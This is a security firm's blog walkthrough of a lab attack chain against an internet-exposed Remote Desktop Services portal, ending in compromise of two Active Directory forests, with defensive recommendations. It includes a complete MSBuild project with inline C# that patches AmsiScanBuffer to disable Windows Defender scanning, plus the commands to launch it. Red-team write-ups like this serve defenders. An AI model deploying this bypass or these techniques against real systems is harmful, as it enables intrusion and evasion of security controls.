Attack Chain Series: Remote Access Service Compromise Part 1 — RDS

Vartai Security
Vartai Security
Published in
14 min readApr 4, 2020

Introduction

In this 5 part series we will be showing ways that attackers gain internal access by attacking services that companies commonly expose to the internet to facilitate remote work. We will highlight the following 5 of scenarios:

  1. Application breakout via Remote Desktop Services (RDS)
  2. Attacking Microsoft Exchange email via Outlook Web Access (OWA)
  3. Attacking Microsoft 0365
  4. Leveraging exploits against VPN endpoints
  5. Attacking publicly exposed edge network devices (routers/switches)

Each post will demonstrate techniques for gaining access by attacking/abusing these services as well as a variety of methods for bypassing defenses and moving laterally/vertically once inside the internal network.

Note: This is a fictional organization and all attacks are performed in a private lab environment. Do not attempt to perform these types of enumeration or attacks unless explicitly permitted in writing by a client.

Gaining a Foothold from the Outside

External Enumeration

Initial enumeration shows an RD Web Access portal exposed (Remote Desktop Servieces, or RDS). RDS can be utilized to provide users with remote access to an entire desktop or just specific applications and programs required for their day-to-day work. RDS is server-based and allows for multiple users to access the same system at the same time. Like other products that utilize Active Directory (AD) authentication, unauthorized access can often be obtained via password spraying attacks.

Even if users are not given full access to the operating system it is usually possible to “break out” of applications provisioned to the user (such as Internet Explorer, Notepad,Wordpad,help buttons among others) and gain shell access to the operating system. From here an attacker can either perform local privilege escalation attacks on the RDS server or begin enumerating the internal AD environment.

Remote Desktop Services (RDS) Login Page

Password Spraying RDS

In order to perform a password spraying attack we first need the internal domain name of the target. This can be found quickly in the RDS logon page source as the WorkSpaceID.

Obtaining the Internal Domain Name

Creating a User List

With this in hand, we can create a list of potential users from the company’s LinkedIn page. This can be done quickly with linkedin2username.

Creating User List with linkedin2username

It is usually possible to find an organization’s email (and likely internal username) structure from a quick Google search. Our fictional target Octagon International uses the structure first_last. Linkedin2username does not create this format but the tool can be modified or one of the username lists that it creates can be modified with sed (changing first.last to first_last).

$sed -i 's/\./_/g' octagon-first.last.txt

Setting up Burp Intruder

There are many ways to perform password spraying but Burp suite gives us a considerable amount of flexibility and control. We start by capturing the login POST request and leaving a placeholder for the username.

Login POST Request

We send the request to Intruder, choose the username placeholder as the payload position, and choose a common, weak, password Welcome1.

Burp Intruder Positions Setup

Next we populate the Payloads tab with the username list harvested from LinkedIn.

Burp Intruder Payloads Tab

Under the Options tab we can adjust threads, add in pauses, throttling, etc. It is important to tune this to minimize impact and load on the service.

Burp Intruder Options Tab

The Redirections section under Options can be modified to automatically follow redirects, this will be useful to quickly flag any valid login attempts.

Intruder Redirections Settings

Launching the Password Spraying Attack

Once everything is set up we click on Start Attack and wait for any results. Below we can see one successful login for the user james_dean based on the redirection and different response length.

Some services handle successful logins differently and may show multiple redirects, while others may show no redirects and you have to rely on analyzing the results for different response lengths which may be indicative of a successful login.

Successful Login

Accessing the RDS Service with the Obtained Credentials

We next login with the user’s credentials and see that they have access to very little — only Calculator and WordPad.

Logged in to RDS

Even with this relatively small amount of access we can move forward. We next download the .rdp file for the WordPad application to our attack host.

Downloading .rdp File for WordPad

Double click on the .rdp file and it will open in Remmina, with a credential prompt.

User Credentials Added

We next confirm successful access to the WordPad application.

WordPad as the james_dean User

Next we can attempt to open various files and directly call PowerShell.exe or cmd.exe but can see that all attempts are denied.

File Open in WordPad

Trying to bypass RDS restrictions by launching PowerShell through Windows Explorer is denied as seen below. Since AppLocker is in place, it is not possible to launch any executable that is not explicitly whitelisted.

PowerShell Script Execution Blocked

RDS & AppLocker Breakout

What is AppLocker?

AppLocker advances the application control features and functionality of Software Restriction Policies. AppLocker allows us to create rules to allow or deny applications from running based on unique identities of files and to specify which users or groups can run those applications.

AppLocker allows organizations to control what is allowed in the environment. AppLocker can control the following applications:

  • Executable files (.exe and .com)
  • Scripts (.js, .ps1, .vbs, .cmd, and .bat)
  • Windows Installer files (.mst, .msi and .msp)
  • DLL files (.dll and .ocx)
  • Packaged apps and packaged app installers (appx)

For demonstration purposes we used AppLocker rules that we commonly see implemented in organizations that we assess.

AppLocker Default Rules and PowerShell Block
Blocking CMD via Group Policy

As seen above, all versions of PowerShell are blocked. Also, cmd.exe is blocked through Group Policy. We have seen many organizations that block PowerShell but not PowerShell_ISE or they do not block both the x32 and x64 versions.

Breaking out of RDS & AppLocker

We often encounter organizations that stop at blocking just PowerShell, PowerShell_ISE, and cmd.exe. However, there are many other executables that can present a risk. For demonstration purposes we decided to use MSBuild.

MSBuild is a native Windows binary used for building applications and is whitelisted by default. It allows us to compile and execute inline C# code stored in XML files, as discovered by @SubTee.

There are multiple runspace projects publicly available but we needed something that would run interactively. We used this Powershell runspace by @SparcFlow based on @SubTee’s work. Using this, we bypassed RDS and Applocker restrictions by running the below command via Explorer after choosing File → Open in WordPad. However, due to protections in place we had to make some modifications which we will discuss in the next section.

c:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe c:\temp\test.xml
Launching Runspace with MSBuild

After running the command we have an interactive PowerShell runspace.

Interactive Runspace

Defeating Windows Defender

We now have a working PowerShell runspace but attempting to enumerate the domain with a tool such as PowerView shows that Windows Defender AMSI is blocking us from loading it into memory.

PowerView Blocked by Windows Defender AMSI

Anti-Malware Scan Interface (AMSI)

AMSI was introduced in Windows 10 and is constantly being improved upon. AMSI allows services and applications to communicate with the anti-malware product installed on the host. AMSI hooks into known Windows applications in order to deobfuscate and analyze what is being executed. If AMSI catches a malicious script or application, it will pass it to the anti-malware solution before execution.

AMSI is implemented on the following:

  • PowerShell
  • Windows Script Host(wscript.exe, Cscript.exe)
  • JavaScript and VBScript
  • Microsoft Office VBA macros
  • Any elevation prevention system such as UAC

Early versions of Windows 10 AMSI identified malicious content by looking for malicious strings on execution using the AmsiScanString() function. In more recent versions of Windows 10 this function was replaced by AmsiScanBuffer(). AmsiScanBuffer() treats the user console input string as a buffer, making it safer and harder to bypass, but still possible.

If you want to understand how AMSI work in-depth we suggest this excellent research by CyberArk.

Note: It is important to keep in mind that having the latest updates from Defender does not mean that you have the most recent version of Defender. Some changes are made only on the OS level. You should always test against the latest version (which was Windows 10 Version 1909 at the time of writing this post).

Bypassing AMSI

We picked an open source project called PSByPassCLM to check if it is possible to defeat AMSI without making any changes or creating our own version. The project attempts to bypass Constrained Language Mode(CLM) and AMSI by using a PowerShell runspace and an AMSI bypass using the patching technique.

Before we move further and attempt to bypass AMSI we have to consider two issues:

  • The project is an executable and we know AppLocker will not allow us to run any executable aside from allowed applications.
  • We need to verify that Defender does not flag it as malicious.

There is a very useful project called DefenderCheck that allows you to take a binary and split it until it finds the exact bytes that Windows Defender flags on.

We stood up a Windows 10 1909 box and used DefenderCheck to see if the PSByPassCLM executable was identified as malicious or not. DefenderCheck found that the executable is malicious and we can see it was flagged with AmsiTamper signature we also noticed on static analysis it flags “AmsiScanBuffer”.

Open source CLM Bypass Detected

We will have to modify our bypass to overcome both of these issues in order to move forward.

Transforming the Project into MSBuildShell

We know that we cannot launch executables but we can launch MSBuild. Our goal was to create a bypass that will provide us with an interactive console that we can continuously operate in. Thanks to incredible research done around AMSI, we picked the base code by @SubTee MSBuild Runspace modified it to be interactive. We also added an updated AMSI bypass (inspired by research done by @RastaMouse) to eliminate what Defender was flagging as malicious.

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Bypass">
<CLMBypass/>
</Target>
<UsingTask
TaskName="CLMBypass"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.IO;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.ComponentModel;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Runtime.InteropServices;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;
public class CLMBypass : Task, ITask
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
static int Bypass()
{
String[] val = { "Am", "si", "Sc", "an", "Buf", "fer" };
String sepe = "";
var concat = String.Join(sepe,val);

char[] chars2 = { 'a', 'm', 's', 'i', '.', 'd', 'l', 'l' };
String libName = string.Join("", chars2);

IntPtr Address = GetProcAddress(LoadLibrary(libName), concat);
UIntPtr size = (UIntPtr)5;
uint p = 0;
VirtualProtect(Address, size, 0x40, out p);
Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
Marshal.Copy(Patch, 0, Address, 6);
return 0;
}
public override bool Execute()
{
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
Bypass();

RunspaceInvoke runSpaceInvoker = new RunspaceInvoke(runspace);
var command = "";
do
{
Console.Write("PS > ");
command = Console.ReadLine();
if (!string.IsNullOrEmpty(command))
{
using (Pipeline pipeline = runspace.CreatePipeline())
{
try
{
pipeline.Commands.AddScript(command);
pipeline.Commands.Add("Out-String");
Collection<PSObject> results = pipeline.Invoke();
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in results)
{
stringBuilder.AppendLine(obj.ToString());
}
Console.Write(stringBuilder.ToString());
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
} }
}
while (command != "exit");
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>

Our first issue is fixed. We compiled the executable version to see if Defender would flag on anything.

Modified Edition of AMSI Bypass

We now know that our executable version is safe. But since we won’t be able to use it due to AppLocker blocking us from running any executable file outside of the default rules, we will run it using the MSBuild version we created above.

Executing our Project with MSBuild

We can see below that our project successfully bypassed AMSI and now PowerView is loaded into memory without AMSI interruption.

c:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe c:\temp\CLMBypass.csproj
MSBuild Project Launched and Bypassing AMSI

Finding Potential Attack Paths

Moving Laterally

Once AMSI has been taken care of it is time to look for paths for vertical/lateral privilege escalation within the domain. A quick check against our current user shows that that they are in the RDP Users group for a domain-joined workstation.

Enumerating Access with PowerView

We connect to the workstation via RDP through a tunnel and begin further enumeration.

Logging in via RDP

Privilege Escalation

The user james_dean is not in the local administrators group but the host is vulnerable to CVE-2020–0796 which is a recent Windows SMBv3 local privilege escalation exploit (a memory corruption vulnerability in the Windows 10 SMB server). Technical analysis of the vulnerability can be found here.

Enumerating Privileges

After compiling and running the exploit PoC we are greeted with a SYSTEM shell.

CVE-2020–0796 Local Privilege Escalation

Passwordless RDP Session Hijacking to Compromise the Domain

Additional enumeration on the workstation shows an inactive session for the Domain Administrator account. With NT Authority\SYSTEM rights we can hijack any user’s session using tscon, whether it is in a connected or disconnected state. We can use tscon to hijack this disconnected session without the user’s knowledge and gain Domain Admin rights in the octagon.local domain.

Hijacking Domain Admin Session
Confirming Domain Admin Access

Enumerating Domain Trusts

Further enumeration shows a bidirectional trust with the elysium.local forest. There are a variety of attacks that can be attempted across forest trusts such as Kerberoasting, SID History abuse, and more.

Enumerating Domain Trust

Compromising Partner Forest using the “PrinterBug”

The Printer Bug

Since we have full control over a Domain Controller (which by default has Kerberos unconstrained delegation enabled) we can further enumerate to see if the “printer bug” attack is possible. Many posts have been done on the topic such as this one by Will and this one by @riccardo.ancarani94.

Some quick enumeration with PowerView shows two hosts with unconstrained delegation. We can compromise either using this attack but we will target the DC03 Domain Controller here in order the fully compromise the elysium.local forest.

Enumerating Hosts with Unconstrained Delegation

In order to successfully perform the attack, we first check that the spoolss service is running on the target Domain Controller.

Checking for Spoolss Service

Next we open two separate consoles, one running Rubeus in monitor mode to monitor for Windows Security Event log ID 4624: An account was successfully logged on.

In the second console we run the SpoolSample tool created by Lee Christensen for “coercing Windows hosts to authenticate to other machines via the MS-RPRN RPC interface”. We give the tool the target Domain Controller and current Domain Controller as arguments.

SpoolSample PoC Tool

Once we execute the SpoolSample tool we obtain the base64 encoded TGT for the DC03 machine account.

Obtaining TGT for the DC03 Machine Account

Pass-The-Ticket

After formatting the base64 ticket offline to remove new lines and white space we can use Rubeus to perform a pass-the-ticket attack and import the DC03 machine account ticket into memory.

Pass-the-Ticket with Rubeus

Issuing the klist command confirms that the import was successful.

Klist Command

DCSync Attack

With the ticket imported we can now perform the DCSync attack against the elysium.local domain controller and obtain the Domain Administrator NTLM password hash.

DCSync with Mimikatz

Pass-The-Hash Attack

We can then perform a pass-the-hash attack using the Domain Admin NTLM hash and Mimikatz. First we confirm that we cannot access the DC03 Domain Controller.

Accessing DC03 Denied
Pass-the-Hash with Mimikatz

After the above successful pass-the-hash attack we have full access to the Domain Controller and have fully compromised the second forest.

Full Access to DC03

Conclusion

In this post we covered a successful password spraying attack against an exposed RDS service, bypassing AppLocker and Windows Defender AMSI restrictions, lateral movement, local privilege escalation and abusing a partner forest by leveraging unconstrained delegation and the “printer bug”.

While this scenario was created in a lab for the purposes of this attack chain walkthrough, it is not far off from what we encounter in our real-world assessments. This post demonstrates real-world threats that organizations should be aware of. While there is no magic bullet security solution, a number of steps could be taken to prevent/detect an attack like the one demonstrated here:

  1. Multi-factor authentication on the RDS portal combined with a strong password policy to mitigate the risk of password spraying.
  2. Patch management to identify issues such as the local privilege escalation bug on the Windows 10 workstation.
  3. Configuration management/an Active Directory security assessment to audit user rights (such as RDP access to a “security” workstation), identify hosts other than Domain Controllers with unconstrained delegation (SQL01), and checks to detect the “printer bug” flaw.
  4. Fine-tuned logging and monitoring to alert on password spraying attempts and the other techniques highlighted in this post.

As more and more companies are moving towards remote work, they are exposing ports and services that may make them more susceptible to an attack. It is important to understand the risks around opening up services such as RDS/Citrix, webmail, VPN, etc. and not just rely on internal endpoint protections such as Windows Defender, or more advanced protections such as EDR.

In the next the post in this series, we will discuss the risks around Outlook Web Access (OWA), and demonstrate another common scenario for once internal access has been achieved.

Interested in hearing more about our services?

Contact us at info@vartaisecurity.com to discuss your unique project needs.

--

--

Vartai Security
Vartai Security

Vartai Security is a unique provider of cyber resilency measures based in Tampa, Florida and Washington DC.